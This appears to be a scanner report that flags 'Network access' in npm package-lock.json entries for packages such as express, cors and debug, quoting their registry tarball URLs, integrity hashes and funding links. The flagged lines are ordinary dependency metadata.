"version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - Network accessline 2414
"resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - Network accessline 2419
"node_modules/combined-stream": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - Network accessline 2420
"version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - Network accessline 2421
"resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - Network accessline 2432
"node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - Network accessline 2433
"version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - Network accessline 2434
"resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - Network accessline 2439
"node_modules/content-disposition": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", - Network accessline 2440
"version": "1.1.0", "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==", - Network accessline 2441
"resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", - Network accessline 2449
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 2450
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 2451
"url": "https://opencollective.com/express" - Network accessline 2454
"node_modules/content-type": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", - Network accessline 2455
"version": "1.0.5", "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", - Network accessline 2456
"resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", - Network accessline 2465
"node_modules/convert-source-map": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - Network accessline 2466
"version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - Network accessline 2467
"resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - Network accessline 2472
"node_modules/cookie": { "version": "0.7.2", "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", - Network accessline 2473
"version": "0.7.2", "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", - Network accessline 2474
"resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", - Network accessline 2483
"node_modules/cookie-signature": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", - Network accessline 2484
"version": "1.2.2", "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", - Network accessline 2485
"resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", - Network accessline 2494
"node_modules/cors": { "version": "2.8.6", "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", - Network accessline 2495
"version": "2.8.6", "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", - Network accessline 2496
"resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", - Network accessline 2508
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 2509
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 2510
"url": "https://opencollective.com/express" - Network accessline 2513
"node_modules/create-jest": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz", - Network accessline 2514
"version": "29.7.0", "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz", "integrity": "sha512-Adz2bdH0Vq3F53KEMJOoftQFutWCukm6J24wbPWRO4k1kMY7gS7ds/uoJkNuV8wDCtWWnuwGcJwpWcih+zEW1Q==", - Network accessline 2515
"resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz", - Network accessline 2535
"node_modules/cross-spawn": { "version": "7.0.6", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - Network accessline 2536
"version": "7.0.6", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - Network accessline 2537
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - Network accessline 2550
"node_modules/cssstyle": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", - Network accessline 2551
"version": "4.6.0", "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==", - Network accessline 2552
"resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", - Network accessline 2564
"node_modules/cssstyle/node_modules/rrweb-cssom": { "version": "0.8.0", "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", - Network accessline 2565
"version": "0.8.0", "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", "integrity": "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw==", - Network accessline 2566
"resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", - Network accessline 2571
"node_modules/data-urls": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", - Network accessline 2572
"version": "5.0.0", "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", - Network accessline 2573
"resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", - Network accessline 2585
"node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 2586
"version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - Network accessline 2587
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 2603
"node_modules/decimal.js": { "version": "10.6.0", "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - Network accessline 2604
"version": "10.6.0", "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", - Network accessline 2605
"resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - Network accessline 2610
"node_modules/dedent": { "version": "1.7.2", "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz", - Network accessline 2611
"version": "1.7.2", "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz", "integrity": "sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA==", - Network accessline 2612
"resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz", - Network accessline 2625
"node_modules/deepmerge": { "version": "4.3.1", "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", - Network accessline 2626
"version": "4.3.1", "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", - Network accessline 2627
"resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", - Network accessline 2635
"node_modules/delayed-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - Network accessline 2636
"version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - Network accessline 2637
"resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - Network accessline 2645
"node_modules/depd": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - Network accessline 2646
"version": "2.0.0", "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - Network accessline 2647
"resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - Network accessline 2656
"node_modules/detect-newline": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", - Network accessline 2657
"version": "3.1.0", "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", - Network accessline 2658
"resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", - Network accessline 2666
"node_modules/diff-sequences": { "version": "29.6.3", "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", - Network accessline 2667
"version": "29.6.3", "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==", - Network accessline 2668
"resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", - Network accessline 2676
"node_modules/dunder-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - Network accessline 2677
"version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - Network accessline 2678
"resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - Network accessline 2691
"node_modules/ee-first": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - Network accessline 2692
"version": "1.1.1", "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", - Network accessline 2693
"resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - Network accessline 2699
"node_modules/electron-to-chromium": { "version": "1.5.344", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.344.tgz", - Network accessline 2700
"version": "1.5.344", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.344.tgz", "integrity": "sha512-4MxfbmNDm+KPh066EZy+eUnkcDPcZ35wNmOWzFuh/ijvHsve6kbLTLURy88uCNK5FbpN+yk2nQY6BYh1GEt+wg= - Network accessline 2701
"resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.344.tgz", - Network accessline 2706
"node_modules/emittery": { "version": "0.13.1", "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", - Network accessline 2707
"version": "0.13.1", "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", "integrity": "sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ==", - Network accessline 2708
"resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", - Network accessline 2714
}, "funding": { "url": "https://github.com/sindresorhus/emittery?sponsor=1" - Network accessline 2715
"funding": { "url": "https://github.com/sindresorhus/emittery?sponsor=1" } - Network accessline 2716
"url": "https://github.com/sindresorhus/emittery?sponsor=1" - Network accessline 2719
"node_modules/emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - Network accessline 2720
"version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - Network accessline 2721
"resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - Network accessline 2726
"node_modules/encodeurl": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", - Network accessline 2727
"version": "2.0.0", "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", - Network accessline 2728
"resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", - Network accessline 2737
"node_modules/entities": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", - Network accessline 2738
"version": "6.0.1", "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", - Network accessline 2739
"resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", - Network accessline 2745
}, "funding": { "url": "https://github.com/fb55/entities?sponsor=1" - Network accessline 2746
"funding": { "url": "https://github.com/fb55/entities?sponsor=1" } - Network accessline 2747
"url": "https://github.com/fb55/entities?sponsor=1" - Network accessline 2750
"node_modules/error-ex": { "version": "1.3.4", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", - Network accessline 2751
"version": "1.3.4", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==", - Network accessline 2752
"resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", - Network accessline 2760
"node_modules/es-define-property": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - Network accessline 2761
"version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - Network accessline 2762
"resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - Network accessline 2770
"node_modules/es-errors": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - Network accessline 2771
"version": "1.3.0", "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - Network accessline 2772
"resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - Network accessline 2780
"node_modules/es-object-atoms": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", - Network accessline 2781
"version": "1.1.1", "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", - Network accessline 2782
"resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", - Network accessline 2793
"node_modules/es-set-tostringtag": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - Network accessline 2794
"version": "2.1.0", "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - Network accessline 2795
"resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - Network accessline 2809
"node_modules/escalade": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - Network accessline 2810
"version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - Network accessline 2811
"resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - Network accessline 2819
"node_modules/escape-html": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - Network accessline 2820
"version": "1.0.3", "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", - Network accessline 2821
"resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - Network accessline 2827
"node_modules/escape-string-regexp": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", - Network accessline 2828
"version": "2.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", - Network accessline 2829
"resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", - Network accessline 2837
"node_modules/esprima": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - Network accessline 2838
"version": "4.0.1", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - Network accessline 2839
"resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - Network accessline 2851
"node_modules/etag": { "version": "1.8.1", "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - Network accessline 2852
"version": "1.8.1", "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", - Network accessline 2853
"resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - Network accessline 2862
"node_modules/eventsource": { "version": "3.0.7", "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz", - Network accessline 2863
"version": "3.0.7", "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz", "integrity": "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==", - Network accessline 2864
"resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz", - Network accessline 2876
"node_modules/eventsource-parser": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.0.tgz", - Network accessline 2877
"version": "3.1.0", "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.0.tgz", "integrity": "sha512-kJezFj9YFAMLeORyi7aCLxLbD5/qWMQnoMVlVPyHIll7lgRJCc3JVln9Vgl9nwQi0YkMnhdGTMNn7CkRRAptMg==", - Network accessline 2878
"resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.0.tgz", - Network accessline 2887
"node_modules/execa": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", - Network accessline 2888
"version": "5.1.1", "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", - Network accessline 2889
"resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", - Network accessline 2906
}, "funding": { "url": "https://github.com/sindresorhus/execa?sponsor=1" - Network accessline 2907
"funding": { "url": "https://github.com/sindresorhus/execa?sponsor=1" } - Network accessline 2908
"url": "https://github.com/sindresorhus/execa?sponsor=1" - Network accessline 2911
"node_modules/exit": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", - Network accessline 2912
"version": "0.1.2", "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", "integrity": "sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==", - Network accessline 2913
"resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", - Network accessline 2920
"node_modules/expect": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/expect/-/expect-29.7.0.tgz", - Network accessline 2921
"version": "29.7.0", "resolved": "https://registry.npmjs.org/expect/-/expect-29.7.0.tgz", "integrity": "sha512-2Zks0hf1VLFYI1kbh0I5jP3KHHyCHpkfyHBzsSXRFgl/Bg9mWYfMW8oD+PdMPlEwy5HNsR9JutYy6pMeOh61nw==", - Network accessline 2922
"resolved": "https://registry.npmjs.org/expect/-/expect-29.7.0.tgz", - Network accessline 2937
"node_modules/express": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", - Network accessline 2938
"version": "5.2.1", "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", - Network accessline 2939
"resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", - Network accessline 2977
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 2978
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 2979
"url": "https://opencollective.com/express" - Network accessline 2982
"node_modules/express-rate-limit": { "version": "8.6.0", "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.6.0.tgz", - Network accessline 2983
"version": "8.6.0", "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.6.0.tgz", "integrity": "sha512-XKJXDsASUOo0LLtFwW5hCcQGH0N4WQc/Rn8/Pvoia+TJFOkkFPvrtW9lZOeeNcxQJspvOIERMwiRLsVFlhHEkA==", - Network accessline 2984
"resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.6.0.tgz", - Network accessline 2995
}, "funding": { "url": "https://github.com/sponsors/express-rate-limit" - Network accessline 2996
"funding": { "url": "https://github.com/sponsors/express-rate-limit" }, - Network accessline 2997
"url": "https://github.com/sponsors/express-rate-limit" - Network accessline 3003
"node_modules/express/node_modules/mime-db": { "version": "1.54.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - Network accessline 3004
"version": "1.54.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", - Network accessline 3005
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - Network accessline 3014
"node_modules/express/node_modules/mime-types": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - Network accessline 3015
"version": "3.0.2", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", - Network accessline 3016
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - Network accessline 3027
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 3028
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 3029
"url": "https://opencollective.com/express" - Network accessline 3032
"node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - Network accessline 3033
"version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - Network accessline 3034
"resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - Network accessline 3040
"node_modules/fast-json-stable-stringify": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - Network accessline 3041
"version": "2.1.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjC - Network accessline 3042
"resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - Network accessline 3047
"node_modules/fast-sha256": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", - Network accessline 3048
